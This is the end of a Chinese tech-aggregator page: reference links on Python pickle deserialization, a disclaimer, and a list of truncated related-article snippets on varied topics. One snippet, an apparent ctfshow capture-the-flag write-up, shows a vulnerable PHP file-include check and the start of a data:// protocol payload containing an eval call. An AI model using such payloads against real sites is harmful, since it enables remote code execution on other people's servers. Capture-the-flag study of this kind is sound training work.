3.https://chenlvtang.top/2021/08/23/Python%E4%B9%8BPickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

4.https://tttang.com/archive/1885/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/854520.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【权威出版/投稿优惠】2024年智慧城市与信息化教育国际会议(SCIE 2024)

2024 International Conference on Smart Cities and Information Education 2024年智慧城市与信息化教育国际会议 【会议信息】 会议简称&#xff1a;SCIE 2024 大会时间&#xff1a;点击查看 大会地点&#xff1a;中国北京 会议官网&#xff1a;www.iacscie.com 会议邮箱&am…

视觉应用线扫相机速度反馈(伺服转盘)

运动控制实时总线相关内容请参考运动控制专栏&#xff0c;这里不再赘述 1、运动控制常用单位u/s运动控制单位[u/s]介绍_运动控制 unit是什么单位-CSDN博客文章浏览阅读176次。运动控制很多手册上会写这样的单位&#xff0c;这里的u是英文单词unit的缩写&#xff0c;也就是单位…

拓保全方位赋能,构建证券数字化蓝图

证券行业是我国金融业的重要基石&#xff0c;证券行业加速发展有利于拓宽融资渠道&#xff0c;释放市场活力&#xff0c;促进我国经济健康、普惠、持续高质量发展。作为深耕行业的软件信息服务提供商&#xff0c;拓保从顶层设计的高度上&#xff0c;构建证券数字化转型蓝图&…

ctfshow web 单身杯

web签到 <?phperror_reporting(0); highlight_file(__FILE__);$file $_POST[file];if(isset($file)){if(strrev($file)$file){ //翻转函数include $file;}}要进行反转并且包含文件用data协议 自己写不好写可以用函数帮你翻转 <?php $adata:text/plain,<?eval(…

黄金价格与美元的关系变了?

在一些传统的定价框架中&#xff0c;现货黄金的价格走势取&#xff0c;决于美元的实际利率水平——实际利率越高&#xff0c;黄金价格越低&#xff0c;反之亦然。在大多数的时候&#xff0c;美元的实际利率决定了美元指数的高低所以人们通常认为&#xff0c;现货金价与美元呈反…

基于深度学习的鸟类检测识别系统【python源码+Pyqt5界面+数据集+训练代码 MX_003期】

简介&#xff1a; 基于深度学习的鸟类检测识别系统在当今世界中具有广泛的应用前景。系统不仅可以帮助生态学家和保护人员监测和保护鸟类种群&#xff0c;还能在农业管理、城市生态监测以及科学研究领域发挥重要作用。通过自动化的图像识别技术&#xff0c;可以实现对鸟类种类、…

26 岁的“天才少年”,带队面壁打通高效大模型之路

每一轮技术浪潮出现时&#xff0c;冲在最前面的都是朝气蓬勃的年轻人。 当大模型代表的人工智能浪潮席卷全球&#xff0c;作为移动互联网“原住民”的年轻开发者&#xff0c;可以说是最活跃的群体。他们的脸庞还有些稚嫩&#xff0c;但在技术和方向上有着自己的想法&#xff0…

西格玛 ------ 第18个希腊字母学习

名词解释 在数学中&#xff0c;我们把∑作为求和符号使用&#xff0c;用小写字母σ&#xff0c;表示标准差。 ∑符号表示求和&#xff0c;读音为sigma&#xff0c;英文意思为Sum&#xff0c;Summation&#xff0c;汉语意思为“和”“总和”。 例1 公式使用说明&#xff1a;…

python图像处理库-PIL(Pillow)

PIL库全称为Python Imaging Library&#xff0c;即Python图像处理库&#xff0c;是一个在Python中用于处理图像的非常流行的库。 一、PIL介绍 这个库提供了广泛的文件格式支持、高效的内部表示以及相当强大的图像处理功能。 核心图像库旨在快速访问存储在几种基本像素格式中的数…

元数据:数据的罗塞塔石碑

在大数据时代&#xff0c;我们每天都在生成和处理海量数据。但数据本身&#xff0c;如果没有适当的上下文和描述&#xff0c;就像是一堆没有翻译的古老文字。这就是元数据发挥作用的地方——它是大数据世界的罗塞塔石碑&#xff0c;为我们提供了理解和利用数据的关键。 文章目录…

计算机组成原理之存储器(一)

文章目录 存储器概述存储器的分类情况按照存储器在系统中的作用分类按存储介质分类按存取方式分类 主存储器的技术指标 存储器概述 程序的局部性原理&#xff08;构成多级存储系统的依据&#xff09;&#xff1a;在某一个时间段你频繁访问某一局部的存储器地址空间&#xff0c;…

Excel加密怎么设置?这5个方法不容错过!(2024总结)

Excel加密怎么设置&#xff1f;如何不让别人未经允许查看我的excel文件&#xff1f;如果您也有这些疑问&#xff0c;那么千万不要错过本篇文章了。今天小编将向大家分享excel加密的5个简单方法&#xff0c;保证任何人都可以轻松掌握&#xff01;毫无疑问的是&#xff0c;为Exce…

长短期记忆神经网络(LSTM)的回归预测(免费完整源代码)【MATLAB】

LSTM&#xff08;Long Short-Term Memory&#xff0c;长短期记忆网络&#xff09;是一种特殊类型的递归神经网络&#xff08;RNN&#xff09;&#xff0c;专门用于处理和预测基于时间序列的数据。与传统RNN相比&#xff0c;LSTM在处理长期依赖问题时具有显著优势。 LSTM的基本…

【数据结构与算法 刷题系列】求带环链表的入环节点(图文详解)

&#x1f493; 博客主页&#xff1a;倔强的石头的CSDN主页 &#x1f4dd;Gitee主页&#xff1a;倔强的石头的gitee主页 ⏩ 文章专栏&#xff1a;《数据结构与算法 经典例题》C语言 期待您的关注 ​ 目录 一、问题描述 二、解题思路 方法一&#xff1a;数学公式推导法 方法…

LaTeX 的使用

文章目录 TeX 编辑器文档类型中文编译文档结构preamble 导言区&#xff08;不能放正文内容&#xff09;document body 正文区 正文内容目录段落列表无序列表有序列表 图片表格交叉引用段落图片表格 转义符 数学公式数学符号行内公式行间公式有公式计数器无公式计数器 公式包含文…

Python 全栈系列254 异步服务与并发调用

说明 发现对于异步(IO)还是太陌生了&#xff0c;熟悉一下。 内容 今天搞了一整天&#xff0c;感觉有一个long story to tell&#xff0c;但是不知道从何说起&#xff0c;哈哈。 异步(协程)需要保证链路上的所有环节都是异步(协程)的&#xff0c;任何一个环节没这么做都会导致…

YOLOv10涨点改进轻量化双卷积DualConv,完成涨点且计算量和参数量显著下降

本文独家改进:双卷积由组卷积和异构卷积组成,执行3x3 和 1x1 卷积运算Q代替其他卷积核仅执行 1x1 卷积。 DualIConv 显着降低了深度神经网络的计算成本和参数数量,同时在某些情况下令人惊讶地实现了比原始模型略高的精度。 我们使用 DualConv 将轻量级 MobileNetV2 的参数数量…

Linux驱动面试题

1.导出符号表的原理&#xff1f; 2.字符设备驱动的框架流程 open read wirte close 是系统调用&#xff08;从用户空间进入内核空间的唯一的方法&#xff09;会产生swi软中断《也会存在软中断号》&#xff08;从User模式切换到SVC&#xff08;管理模式&#xff09;下因为在…

你还不会选ProfiNET和EtherCAT网线?

在现代工业自动化领域&#xff0c;ProfiNET和EtherCAT是两种非常流行的通信协议。选择合适的网线对于确保通信的稳定性和效率至关重要。 ProfiNET是什么&#xff1f; ProfiNET是一种基于以太网的通信协议&#xff0c;由德国西门子公司开发。它支持实时通信&#xff0c;广泛应用…

商超智能守护:AI监控技术在零售安全中的应用

结合思通数科大模型的图像处理、图像识别、目标检测和知识图谱技术&#xff0c;以下是详细的商超合规监测应用场景描述&#xff1a; 1. 员工仪容仪表监测&#xff1a; 利用图像识别技术&#xff0c;系统可以自动检测员工是否按照规范整理妆容、穿着工作服&#xff0c;以及是否…